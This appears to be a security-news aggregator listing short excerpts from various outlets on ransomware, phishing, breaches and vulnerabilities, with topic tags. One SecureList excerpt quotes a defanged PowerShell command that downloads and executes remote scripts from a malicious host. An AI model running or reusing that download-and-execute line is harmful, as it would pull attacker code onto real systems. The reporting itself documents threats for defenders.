Troy Hunt

MARCH 22, 2018

Home again which means more time to blog and per the intro to this week's update, time to catch up on how HIBP is tracking. Here's the 2 tweets with some stats I mention at the start of this week's update: It's been almost a month since I launched Pwned Passwords V2. References.

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Passwords 117

Security Affairs

APRIL 25, 2021

A new round of the weekly SecurityAffairs newsletter arrived! If you want to receive the weekly Security Affairs Newsletter for free subscribe here. Every week the best security articles from Security Affairs free for you in your email box. Follow me on Twitter: @securityaffairs and Facebook. Pierluigi Paganini.

Insurance 81

Insurance Hacking VPN Malware 81

Security Affairs

APRIL 20, 2021

Group-IB Digital Risk Protection (DRP) analysts have found evidence proving that users in over 80 countries in Europe, Asia, the MEA region, North and South America might have been affected. By distributing ads promoting an allegedly updated version of Facebook Messenger, cybercriminals harvested users’ login credentials.

Scams 120

Scams Accountability Risk Cybercrime 120

Security Affairs

JULY 25, 2021

A new round of the weekly SecurityAffairs newsletter arrived! Every week the best security articles from Security Affairs free for you in your email box. If you want to also receive for free the international press subscribe here.

Spyware 112

Spyware Data breaches Government Threat Reports 112

Security Affairs

MARCH 27, 2019

Even if it is soon to provide a precise estimate on the financial impact for the cyber attack, in an update provided by Norsk Hydro on Tuesday, the company estimated losses between 300-350 million Norwegian crowns ($35 – $41 million). ” reads the update published by the company.

Insurance 83

Insurance Cyber Attacks Ransomware Advertising 83

Krebs on Security

AUGUST 29, 2019

But Brenna Sadler , director of communications for the Wisconsin Dental Association , said the ransomware encrypted files for approximate 400 dental practices, and that somewhere between 80-100 of those clients have now had their files restored. Cloud data and backup services are a prime target of cybercriminals who deploy ransomware.

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Backups Ransomware Insurance Encryption 220

Security Affairs

APRIL 5, 2021

A new report published by Microsoft revealed that 80% of global enterprises were victims of a firmware-focused cyberattack. showed that most security investments are going to security updates, vulnerability scanning and advanced threat protection solutions. and the U.S. ” reads the report published by Microsoft.

Firmware 119

Firmware Cybersecurity Encryption Financial Services 119

Security Affairs

OCTOBER 17, 2023

Studies show that human error is the root cause of more than 80% of all cyber breaches, whether malicious or unintended. This tool provides real-time updates and actionable insights, offers various statistical insights into data, and the ability to determine attack perpetrators. What is the impact of ransomware on organizations?

Social Engineering 113

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Security Affairs

JANUARY 21, 2021

“In the meantime, please update the NAS firmware and Malware Remover in the App Center to the latest version if not done already to ensure the latest security patches are applied on the NAS.” QNAP recommends users to take the following measures to prevent these infections: Update QTS to the latest version.

Cryptocurrency 114

Cryptocurrency Firmware Malware Passwords 114

Security Affairs

FEBRUARY 22, 2021

Researchers spotted a new Office malware builder, tracked as APOMacroSploit, that was employed in a campaign targeting more than 80 customers worldwide. Researchers from security firm Check Point uncovered a new Office malware builder called APOMacroSploit, which was employed in attacks that targeted more than 80 customers worldwide.

Malware 112

Malware Antivirus Phishing Cryptocurrency 112

SiteLock

AUGUST 27, 2021

It’s no surprise that 80% of website attacks are aimed directly at them. 2) Make updating your software a habit. Companies should make sure plugins, themes and platform installations are updated to their latest versions. It is important to run updates and apply security patches when using third-party software on your website.

Penetration Testing 52

Penetration Testing Hacking Data breaches Retail 52

SecureWorld News

JUNE 1, 2022

R-156 prescribes a uniform set of requirements for managing in-vehicle software updates (ECE/TRANS/WP.29/2020/80). 29/2020/80). It instructs the approval authorities of the UNECE signatories to confirm the presence of a R-156 conformant software update management system (SUMS) prior to granting type approval.

Software 79

Software Manufacturing Surveillance Marketing 79

Security Affairs

SEPTEMBER 1, 2019

A new round of the weekly newsletter arrived! 80 defendants charged with participating in massive BEC and romance scams. Magecart hackers compromise another 80 eCommerce sites. TA505 group updates tactics and expands the list of targets. The best news of the week with Security Affairs. Once again thank you!

eCommerce 48

eCommerce Data breaches Malware Advertising 48

Google Security

DECEMBER 17, 2021

An artifact affected by log4j is considered fixed if it has updated to 2.16.0 F or greater than 80% of the packages, the vulnerability is more than one level deep, with a majority affected five levels down (and some as many as nine levels down). or removed its dependency on log4j altogether.

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Software Information Security Accountability 145

Security Affairs

MARCH 16, 2021

” On March 2nd, Microsoft released emergency out-of-band security updates that address four zero-day issues (CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065) in all supported MS Exchange versions that are actively exploited in the wild. “Microsoft Corp. 23, investigators at security companies say.”

Antivirus 97

Antivirus Cyber Attacks Hacking Accountability 97

Security Affairs

SEPTEMBER 10, 2018

Even if the vendor released a security fix that addresses the flaw in April, the number of not updated routers is still very high. million MikroTik routers are still vulnerable to the CVE-2018-14847 exploit because owners have not updated them. Summarizing, more than 370,000 of 1.2

Cryptocurrency 63

Cryptocurrency IoT Advertising Internet 63

Troy Hunt

APRIL 27, 2018

I've left a month and a bit of notice to give everyone heaps of time and I'll be sending out constant reminders via social, on my blog and in my weekly updates. The k-Anonymity range search is absolutely smashing it in every way which makes me very happy ??.

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Passwords 185

SC Magazine

JUNE 28, 2021

The June 28 update shows patients are still being warned to expect significant care delays and to bring health information that could help support their care, also pointing to investments to ensure more comprehensive network monitoring for malware in the future. The health system has not provided an update on the ongoing situation.

Ransomware 118

Ransomware Computers and Electronics Backups Media 118

Security Affairs

APRIL 3, 2021

The Avaddon ransomware operators updated their malware after security researchers released a public decryptor in February 2021. The Avaddon ransomware quickly reacted to the availability of the decryptor and released an update for the code of their malware that made the tool inefficient. Source ZDNet. ” added Walter.

Ransomware 96

Ransomware Encryption Malware Cybercrime 96

Krebs on Security

JULY 28, 2022

“While working, these Trojans pose as Microsoft Windows Update,” Kaspersky wrote. The CAPTCHA service was offered as an add-on to the Microleaves proxy service, and ranged in price from $20 for a 2-day trial to $320 for solving up to 80 captchas simultaneously. IO (NOW MERCIFULLY OFFLINE). Since then, however, online[.]io

Advertising 208

Advertising Software Computers and Electronics Internet 208

eSecurity Planet

SEPTEMBER 30, 2021

Users claim that SMSRanger has an efficacy rate of about 80% if the victim answered the call and the full information (fullz) the user provided was accurate and updated.”. By using the services, cybercriminals can gain access to victims’ accounts to steal money.

Authentication 113

Authentication Social Engineering Phishing Banking 113

eSecurity Planet

AUGUST 8, 2022

Barracuda notes that attackers use brand impersonation in more than 80% of spear-phishing attacks. DMARC Updates. DMARC requires updates. Companies may switch the IP addresses for email servers as they upgrade or transition to the cloud and each IP address change requires an update to the filed policy.

DNS 116

DNS Phishing Authentication Marketing 116

Malwarebytes

FEBRUARY 8, 2023

A month where nobody refused to pay would be hugely unusual though. Having said that, the Black Basta News Tor site, where it publishes new victims, has been down for several weeks. We saw that it was reactivated on January 22, but the next day it went down again. The backend to the site used to contact the victims seems to be down as well.

Ransomware 85

Ransomware Education Cryptocurrency Marketing 85

BH Consulting

NOVEMBER 10, 2020

It found 80 per cent haven’t taken part in testing incident response plans in the past year. This new trend was another reason why we chose to update our guide to tackling ransomware. Many Irish boards lack the ability to understand and respond to cybersecurity risks effectively. Here’s the blog we wrote about it last year.

Data breaches 52

Data breaches Ransomware Risk Cyber Risk 52

Kali Linux

MAY 31, 2021

This release welcomes a mixture of new items as well as enhancements of existing features, and is ready to be downloaded (from our updated page) or upgraded if you have an existing Kali Linux installation. Say hello to Kali Linux 2021.2 ! A quick summary of the changelog since the 2021.1 hashcat or impacket ).

Engineering 52

Engineering Firmware Architecture Backups 52

ForAllSecure

MARCH 24, 2020

To install or update software on an OpenWRT system, a utility called opgk is used. conf->force_checksum) { opkg_msg(ERROR, "Package %s sha256sum mismatch. " "Either the opkg or the package index are corrupt. " "Try 'opkg update'.n", In the following sections, I’ll dive deeper into how I identified the vulnerability.

DNS 59

DNS Software Architecture Accountability 59

ForAllSecure

MARCH 24, 2020

To install or update software on an OpenWRT system, a utility called opgk is used. conf->force_checksum) { opkg_msg(ERROR, "Package %s sha256sum mismatch. " "Either the opkg or the package index are corrupt. " "Try 'opkg update'.n", In the following sections, I’ll dive deeper into how I identified the vulnerability.

DNS 52

DNS Software Architecture Accountability 52

SecureList

NOVEMBER 23, 2022

In the weeks leading up to Black Friday, we have already seen discounts reaching 70% and even 80%, grabbing the attention of millions of customers. The email body employs social engineering techniques, for instance, to convince the user that they need to update their payment data, or that a lucrative deal awaits them on the phishing site.

Phishing 99

Phishing Banking Scams Retail 99

SecureList

DECEMBER 14, 2020

They provide reliable protection against malware and, when combined with relevant policies, regular updates, and employee cyberhygiene, they can shield a business from a majority of cyber-risks. nl:80/networks.ps1')}else{IEX(New-Object Net.WebClient).DownloadString('http[:]//safe.dashabi[.]nl:80/netstat.ps1')}". nl:80/netstat.ps1')}".

Technology 70

Technology Malware Antivirus Software 70

ForAllSecure

MARCH 25, 2020

To install or update software on an OpenWRT system such as an OpenWRT web server, a utility called opgk is used. conf->force_checksum) { opkg_msg(ERROR, "Package %s sha256sum mismatch. " "Either the opkg or the package index are corrupt. " "Try 'opkg update'.n", The OpenWRT Package Manager.

DNS 52

DNS Software Architecture Accountability 52

SecureList

DECEMBER 1, 2023

It comes with an affiliate Ransomware-as-a-Service (RaaS) program that offers participants up to 80 percent of the ransom. An interesting feature of the malware is that it pretends to be an Android update, thus blocking the phone from being used. This proxy-capable backdoor was deployed alongside Cobalt Strike beacons.

Malware 91

Malware Ransomware Encryption Energy and Utilities 91

Jane Frankland

JULY 13, 2020

Data from recruitment agencies, such as Burning Glass , show that over 35% of all cybersecurity jobs require at least one of these five globally recognised certifications and that more than 80% of cybersecurity related job postings want a bachelor’s level or higher college degree plus a minimum of three years’ experience.

Cybersecurity 100

Cybersecurity Government Engineering Technology 100

Krebs on Security

DECEMBER 13, 2021

The number of appointments in some areas dropped by up to 80 percent.” The story had been updated multiple times throughout the day, and there were at least five healthcare organizations hit with ransomware within the span of 24 hours. ” I asked the source.

Healthcare 257

Healthcare Ransomware Antivirus Software 257

Malwarebytes

APRIL 5, 2023

By January 2023, education had claimed over 80 percent of all global malware incidents —a staggering lead that has held since 2020. Install, regularly update, and enable real-time detection for antivirus software. And it should come as no surprise that the cyberthreat doing the most damage to education is ransomware.

Education 64

Education Ransomware Cybersecurity Risk 64

Krebs on Security

FEBRUARY 28, 2023

We haven’t received any updates to this ticket ever since it was created so that’s why I’m calling in just to see if there’s still an issue or not… ” TMO DOWN! SECURITY KEYS T-Mobile US reported revenues of nearly $80 billion last year.

Mobile 306

Mobile Phishing Authentication Advertising 306

Security Affairs

NOVEMBER 24, 2021

Researchers deployed multiple instances of vulnerable systems and found that 80% of the 320 honeypots were compromised within 24 hours. The experts discovered that 80% of the 320 honeypots were compromised within 24 hours and all of the honeypots were compromised within a week. . ” reads the post published by Palo Alto Networks.

Firewall 100

Firewall Internet Internet Hacking 100

CyberSecurity Insiders

FEBRUARY 12, 2023

Technion University, one of the top technology schools in Israel, has issued a press update that most of its systems were targeted by a ransomware attack and it could be the work of the DarkBit hacking group, a gang that is opposing the government policies of Israel.

Cyber Attacks 127

Cyber Attacks Government Ransomware Hacking 127